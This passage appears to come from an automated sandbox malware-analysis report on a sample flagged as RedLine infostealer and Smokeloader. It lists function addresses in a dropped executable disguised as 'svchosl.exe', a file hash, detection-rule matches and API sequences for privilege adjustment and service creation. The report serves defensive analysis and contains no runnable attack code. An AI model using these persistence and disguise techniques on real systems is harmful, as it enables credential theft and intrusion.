Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6415	16_2_00007FF8A87C6415
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5CF4	16_2_00007FF8A87C5CF4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C651E	16_2_00007FF8A87C651E
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3206	16_2_00007FF8A87C3206
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C62DA	16_2_00007FF8A87C62DA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1E79	16_2_00007FF8A87C1E79
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1041	16_2_00007FF8A87C1041
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2987	16_2_00007FF8A87C2987
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C400C	16_2_00007FF8A87C400C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6087	16_2_00007FF8A87C6087
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F4D50	16_2_00007FF8A88F4D50
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5FEC	16_2_00007FF8A87C5FEC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5880	16_2_00007FF8A87C5880
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4520	16_2_00007FF8A87C4520
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3738	16_2_00007FF8A87C3738
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2BF3	16_2_00007FF8A87C2BF3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C66C2	16_2_00007FF8A87C66C2
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A8900170	16_2_00007FF8A8900170
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C571D	16_2_00007FF8A87C571D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3968	16_2_00007FF8A87C3968
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C71B2	16_2_00007FF8A87C71B2
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A8870260	16_2_00007FF8A8870260
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C111D	16_2_00007FF8A87C111D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3805	16_2_00007FF8A87C3805
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C7036	16_2_00007FF8A87C7036
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DC480	16_2_00007FF8A87DC480
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C12EE	16_2_00007FF8A87C12EE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C7338	16_2_00007FF8A87C7338
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2EAF	16_2_00007FF8A87C2EAF
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DC620	16_2_00007FF8A87DC620
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2ABD	16_2_00007FF8A87C2ABD
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C17E4	16_2_00007FF8A87C17E4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3134	16_2_00007FF8A87C3134
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5015	16_2_00007FF8A87C5015
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C35DA	16_2_00007FF8A87C35DA
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C227A	16_2_00007FF8A87C227A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F9AF0	16_2_00007FF8A88F9AF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6BA4	16_2_00007FF8A87C6BA4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2E0A	16_2_00007FF8A87C2E0A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C488B	16_2_00007FF8A87C488B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4B9C	16_2_00007FF8A87C4B9C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C51D2	16_2_00007FF8A87C51D2
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C6230	16_2_00007FF8A87C6230
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2A90	16_2_00007FF8A87C2A90
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C591B	16_2_00007FF8A87C591B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C37E7	16_2_00007FF8A87C37E7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A8971E40	16_2_00007FF8A8971E40
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2342	16_2_00007FF8A87C2342
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2428	16_2_00007FF8A87C2428
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F5F00	16_2_00007FF8A88F5F00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C36D4	16_2_00007FF8A87C36D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1AEB	16_2_00007FF8A87C1AEB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C45BB	16_2_00007FF8A87C45BB
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87E5200	16_2_00007FF8A87E5200
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87DD260	16_2_00007FF8A87DD260
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1C21	16_2_00007FF8A87C1C21
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C71C1	16_2_00007FF8A87C71C1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3094	16_2_00007FF8A87C3094
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A88F1320	16_2_00007FF8A88F1320
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3EE0	16_2_00007FF8A87C3EE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C5BBE	16_2_00007FF8A87C5BBE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C24A5	16_2_00007FF8A87C24A5
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C1839	16_2_00007FF8A87C1839
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C11CC	16_2_00007FF8A87C11CC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2761	16_2_00007FF8A87C2761
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3E1D	16_2_00007FF8A87C3E1D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C3BF7	16_2_00007FF8A87C3BF7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A8971690	16_2_00007FF8A8971690
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2E32	16_2_00007FF8A87C2E32
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C731A	16_2_00007FF8A87C731A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4999	16_2_00007FF8A87C4999
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C375B	16_2_00007FF8A87C375B
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C2F2C	16_2_00007FF8A87C2F2C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1BF9	16_2_00007FF8B7FE1BF9
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEFDB0	16_2_00007FF8B7FEFDB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE210D	16_2_00007FF8B7FE210D
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE15C8	16_2_00007FF8B7FE15C8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1E6A	16_2_00007FF8B7FE1E6A
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEB4F0	16_2_00007FF8B7FEB4F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF5540	16_2_00007FF8B7FF5540
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE12E4	16_2_00007FF8B7FE12E4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE24B9	16_2_00007FF8B7FE24B9
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FEF695	16_2_00007FF8B7FEF695
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE23DD	16_2_00007FF8B7FE23DD
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FF2910	16_2_00007FF8B7FF2910
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B80189D0	16_2_00007FF8B80189D0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE191F	16_2_00007FF8B7FE191F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE12B2	16_2_00007FF8B7FE12B2
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE6D00	16_2_00007FF8B7FE6D00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B804CDB4	16_2_00007FF8B804CDB4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B803EF80	16_2_00007FF8B803EF80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1BB3	16_2_00007FF8B7FE1BB3
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FFEFC0	16_2_00007FF8B7FFEFC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1E6F	16_2_00007FF8B7FE1E6F
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1357	16_2_00007FF8B7FE1357
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE2478	16_2_00007FF8B7FE2478
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B8012620	16_2_00007FF8B8012620
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9087210	16_2_00007FF8B9087210
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9076350	16_2_00007FF8B9076350
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B90643F0	16_2_00007FF8B90643F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B906EBE0	16_2_00007FF8B906EBE0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9076610	16_2_00007FF8B9076610
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9071F11	16_2_00007FF8B9071F11
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C1000	16_2_00007FF8B93C1000
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93CB60C	16_2_00007FF8B93CB60C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C853C	16_2_00007FF8B93C853C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C5CFC	16_2_00007FF8B93C5CFC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C3868	16_2_00007FF8B93C3868
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C8C28	16_2_00007FF8B93C8C28
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C9358	16_2_00007FF8B93C9358
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C9BD4	16_2_00007FF8B93C9BD4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C97DC	16_2_00007FF8B93C97DC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9843FB0	16_2_00007FF8B9843FB0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F659B0	16_2_00007FF8B9F659B0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F62FF0	16_2_00007FF8B9F62FF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F64BF0	16_2_00007FF8B9F64BF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F6AA18	16_2_00007FF8B9F6AA18
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F6D258	16_2_00007FF8B9F6D258
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F680B0	16_2_00007FF8B9F680B0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F65ED7	16_2_00007FF8B9F65ED7
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA241000	16_2_00007FF8BA241000
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA243BC0	16_2_00007FF8BA243BC0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA4F2DD0	16_2_00007FF8BA4F2DD0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA4F6AE4	16_2_00007FF8BA4F6AE4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA51D130	16_2_00007FF8BA51D130
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA5171CC	16_2_00007FF8BA5171CC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAB21C0	16_2_00007FF8BFAB21C0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD37B0	16_2_00007FF8BFAD37B0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD1A80	16_2_00007FF8BFAD1A80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD3CF0	16_2_00007FF8BFAD3CF0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD1A80	16_2_00007FF8BFAD1A80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD2630	16_2_00007FF8BFAD2630
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD2D30	16_2_00007FF8BFAD2D30
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD521C	16_2_00007FF8BFAD521C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD3140	16_2_00007FF8BFAD3140

Source: Joe Sandbox View

Dropped File: C:\ProgramData\MicrosoftSystem\Wmiic.exe 644C9745D1D2F679DB73FCB717DD37E180E19D5B0FC74575E4CEFE4F543F2768

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 029EE43F appears 44 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C1055 appears 1557 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C4688 appears 138 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C1FC3 appears 55 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C41F6 appears 47 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C40F7 appears 384 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8B7FE1023 appears 568 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C5DDA appears 737 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C1C08 appears 121 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF77B321DF0 appears 110 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF77B321DB0 appears 36 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8B804BE25 appears 103 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C206D appears 82 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8A87C1FFF appears 31 times
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: String function: 00007FF8B804BD8F appears 195 times
Source: C:\Users\123.exe	Code function: String function: 00ECEB78 appears 39 times
Source: C:\Users\123.exe	Code function: String function: 00ECEC50 appears 56 times
Source: C:\Users\123.exe	Code function: String function: 00ECF5F0 appears 31 times

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.3277615325.0000000002A08000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000002.3289464221.00000000075EE000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000003.2079457079.0000000002B59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs file.exe
Source: file.exe, 00000000.00000002.3285742985.0000000005953000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000002.3280551668.000000000485F000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000002.3280551668.000000000485F000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs file.exe
Source: file.exe, 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000002.3280253389.000000000464C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000002.3280253389.000000000464C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2079601696.0000000006DBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000003.2079601696.0000000006DBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2080087221.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2077593562.0000000004456000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePressie.exe8 vs file.exe
Source: file.exe, 00000000.00000003.2079861670.0000000006DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2079316590.0000000002B53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefirefox.exe0 vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\000004B0\\OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\040904B0\\OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXE.MUID vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIEXPLORE.EXED vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $]q,\\StringFileInfo\\080904B0\\OriginalFilename vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsedge.exe> vs file.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.file.exe.4420000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.file.exe.29e0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000003.2077593562.0000000004420000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000000.00000002.3278134834.0000000002AA1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.file.exe.45edbe6.2.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.45edbe6.2.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.45edbe6.2.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.7590000.7.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.7590000.7.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.7590000.7.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.4800ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.4800ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.file.exe.4800ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.cs	Cryptographic APIs: 'CreateDecryptor'

Source: mig.exe.0.dr	Binary or memory string: K.sLN
Source: mig.exe.0.dr	Binary or memory string: C.vBp=)

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.mine.winEXE@324/50@0/2

Source: C:\Users\123.exe

Code function: 3_2_00EB6C74 GetLastError,FormatMessageW,

3_2_00EB6C74

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_000000014000A810 GetCurrentThread,OpenThreadToken,GetLastError,ImpersonateSelf,GetCurrentThread,OpenThreadToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,CloseHandle,

6_2_000000014000A810

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: _snwprintf_s,CreateServiceW,GetLastError,CloseServiceHandle,DeleteService,CloseServiceHandle,CloseServiceHandle,

6_2_00000001400133A0

Source: C:\Users\user\Desktop\file.exe

